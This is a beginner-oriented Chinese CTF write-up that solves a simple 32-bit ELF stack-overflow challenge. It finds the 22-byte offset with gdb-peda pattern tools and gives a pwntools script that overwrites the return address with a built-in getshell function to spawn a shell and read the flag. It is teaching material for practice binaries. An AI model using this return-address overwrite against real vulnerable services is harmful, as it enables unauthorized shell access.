简单的栈溢出_hello_elf

最近哥们问了我一道PWN题,觉得比较有代表性而且难度较低,就记录下来以作栈溢出的示例,仅从新手角度分析,大牛绕过

题目地址:https://pan.baidu.com/s/1Gd6u_-pRWmPsRJdlnnNYKg

0x00 基本知识

首先,要进行栈溢出的漏洞利用要理解栈的基础结构以及在计算机内的存储方式,之前就有很多大佬写过相关的文章,我也没必要造轮子,就把链接放在这里吧,我是链接,这个是百度百科上比较通用的解答,如果觉得不清楚还可以自己查阅其他的文章

0x01 起手第一步

首先一般我拿到一个二进制文件的时候会先用file命令看一下文件的类型:

1
2
☁  1  file hello
hello: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=547379e1b7bd695a7546d2a3321e199c0474dfa9, not stripped

这里显示这是一个32位的ELF文件,其实对于新手来说IDA_Pro的一键f5还是挺方便的,我们先把文件放到IDA里看一下:

IDA的左侧显示了一些函数的信息,双击函数后再按F5键使IDA显示出伪C代码,这里说是伪C代码是因为这些代码严格意义上不算是C代码,只是IDA为了使程序显示更接近我们的逻辑顺序而显示的一种接近于C语言格式的代码,如果可以通过自己的判断来修复一些伪C代码中的逻辑或者变量名称,可以使得代码接近于源代码,但是我们这道题不涉及修复的知识。

随便翻看一下这些函数的内容,并在脑海中大致建立一个程序的逻辑框架,看到一个read函数,不知道此函数的作用怎么办,很简单,Linux下自带命令man可与查看函数的手册

在Linux终端下输入命令:

1
man read

此时终端会打印出关于read函数的信息:

内容很多,感兴趣的同学可以自己敲一下试试,而我们目前只需关注一下信息:

1
2
3
4
5
6
7
NAME
read - read from a file descriptor

SYNOPSIS
#include <unistd.h>

ssize_t read(int fd, void *buf, size_t count);

我们需要看一下此函数的相关参数,fd我在之前的文章中介绍过了,这个是文件描述符,不同的值代表不同的文件读写状态,0代表标准输入,后面的*buf代表输入的内容的指针,再后面的count是输入的字节数,此时看之前IDA中的伪代码就可以知道此程序会从用户的标准输入中读取64个unsigned整型并将此内容print出来,但是为什么这道题有漏洞呢,因为他读取的是64字节的内容,但是再IDA中显示内容得知程序只为V1开辟了0x16的空间,如图:

这显然是会造成栈溢出的,0x16转换为十进制为22,我们可以来验证一下,我个人比较喜欢用gdb来调试ELF文件,其中gdb中有一个十分好用的插件peda,具体的安装方式网上也有很多的教程,在这里我也不浪费时间了,话不多说,gdb启动:

1
2
3
4
5
6
7
8
9
10
11
12
☁  1  gdb hello 
GNU gdb (Debian 8.1-4) 8.1
......
此处省略N个字
......
Reading symbols from hello...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial

先使用checksec来检车一下程序开启的保护措施,可以看到只开启了一个NX,这些保护措施如果不了解没关系,但是第一步checksec是个好习惯。

我们可以使用r或者run使程序在gdb中运行

1
2
3
4
5
6
7
gdb-peda$ r
Starting program: /root/0101/1/hello
input_test
Hello, input_test

[Inferior 1 (process 4082) exited normally]
Warning: not running or target is remote

可以看到程序正常的执行了

以上我们对此程序的基础信息算是有所掌握了,接下来进行进一步的探索

0x02 在溢出的边缘疯狂试探

首先我们已经知道了这个使考察栈溢出的知识了,常见的栈溢出就是程序对用户的输入长度没有进行严格的限制,会导致用户输入的超过程序限制的长度的数据溢出到非预期的位置,从而造成程序逻辑的混乱或者造成软件被破解、getshell等严重的后果,因此我们需要确定一个简单的攻击路线:

  • 确定程序存在的漏洞
  • 确定溢出点
  • 寻找溢出利用位置
  • 成功Getshell

因此我们需要确认一下溢出点的位置,简单来说就是确定当我们输入多少长度的数据的时候程序会产生溢出,gdb有一个很好的命令可以帮助我们很快的找到溢出点的位置,这个命令就是pattern_creat,使用此命令+想要生成的字符串的长度就可以生成一串特殊的字符串,如:

1
2
gdb-peda$ pattern_creat 50
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'

这串字符串每相邻的三位字母都是不同的,因此如果你在其中找到了三个字母如FAA,而这三个字母可以在这个字符串中确定一个唯一的位置。

我们试一下把这串字符串输入目标程序hello

1
2
3
gdb-peda$ r
Starting program: /root/0101/1/hello
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA

敲击回车,此时会发现终端界面发生变化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
[----------------------------------registers-----------------------------------]
EAX: 0x3b (';')
EBX: 0x0
ECX: 0x0
EDX: 0xf7fa7890 --> 0x0
ESI: 0xf7fa6000 --> 0x1d5d8c
EDI: 0x0
EBP: 0x2d414143 ('CAA-')
ESP: 0xffffd2c0 ("ADAA;AA)AAEAAaAA0AAFAAbA\n")
EIP: 0x41284141 ('AA(A')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41284141
[------------------------------------stack-------------------------------------]
0000| 0xffffd2c0 ("ADAA;AA)AAEAAaAA0AAFAAbA\n")
0004| 0xffffd2c4 (";AA)AAEAAaAA0AAFAAbA\n")
0008| 0xffffd2c8 ("AAEAAaAA0AAFAAbA\n")
0012| 0xffffd2cc ("AaAA0AAFAAbA\n")
0016| 0xffffd2d0 ("0AAFAAbA\n")
0020| 0xffffd2d4 ("AAbA\n")
0024| 0xffffd2d8 --> 0xa ('\n')
0028| 0xffffd2dc --> 0xf7de99a1 (<__libc_start_main+241>: add esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41284141 in ?? ()

说明此时程序已经崩溃,报错内容显示EIP中的地址是无效的,终端中显示的三栏依次显示的是程序崩溃时寄存器、错误代码、栈的相关信息,有关每个寄存器的作用在网上也有很多的介绍,我们要关注的是EIP寄存器,这个寄存器存储的是计算机要执行的下一个指令的位置,此时我们发现EIP中显示的是我们刚才输入的字符串中的一部分AA(A,我们先看一下这四个字符在字符串的位置,使用pattern_offset命令:

1
2
gdb-peda$ pattern_offset AA(A
AA(A found at offset: 22

因此我们找到了这个字符串的偏移量为22,换个说法就是说我们输入的字符串在第22位会发生溢出,至此溢出点已被找到

  • 确定溢出点

就是说我们输入的前22个字符会正常的被程序处理,但是多出来的四个字节会覆盖在EIP寄存器中,如果我们把EIP中的内容修改为我们想执行的命令的位置,则可以执行此命令,如果我们想进一步掌控该程序需要寻找我们想执行的指令的位置。

0x03 寻找目标指令

其实找到了溢出点之后利用时有很多种方式,但是这个题目只需要我们在程序本身中寻找利用点,我们回到IDA中查看是否有可以利用的指令,然后发现了一个getshell函数:

此函数的地址可以在下图中找到

函数的地址为:0804846B如果我们把此getshell函数的入口地址放入EIP那么系统在执行EIP寄存器中的命令的时候就会直接运行system("/bin/sh");从而得到一个shell。

为了更贴近CTF中的情景,我们可以使用socat把此程序的标准io绑定到一个端口上从而实现远程通信:

1
socat tcp-listen:10001,reuseaddr,fork EXEC:./hello,pty,raw

端口号可以任意指定但是一定要是空闲端口号(废话)

然后就可以用nc来进行远程通信了如:

1
nc x.x.x.x port

python中有一个大名鼎鼎的库叫做pwntools,我们用这个工具来与远程程序进行交互与破解,此库的安装教程网上也有而且不难,这里就不多说了,漏洞利用脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
#连接目标主机,参数为IP和端口
stream=remote('x.x.x.x',10001)

#payload即攻击载荷
payload=""
#发送22个A并加上getshell函数的地址
payload+="A"*22+p32(0x0804846B)

#发送payload
stream.send(payload)

#打开一个shell的交互进程
stream.interactive()

代码中p32()函数的作用是将函数地址转换为四个字节的字符串,如果不使用此函数直接发送22个A和0x0804846B则会直接发送16进制的字符而不是真正的地址的格式,运行此程序会发现程序由原来返回用户输入的名字变为了一个由交互功能的shell,可以执行用户输入的指令,到这里漏洞利用就算是成功了,当然,这个shell并不是标准的shell,可以利用python打开一个shell的完全体。

  • 漏洞利用成功

我在hello旁边放了一个flag,通过cat flag可以读取flag的内容,至此PWN结束。

本文章主要面对小白,省去了很多细节以方便理解,如有错误欢迎指正!

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×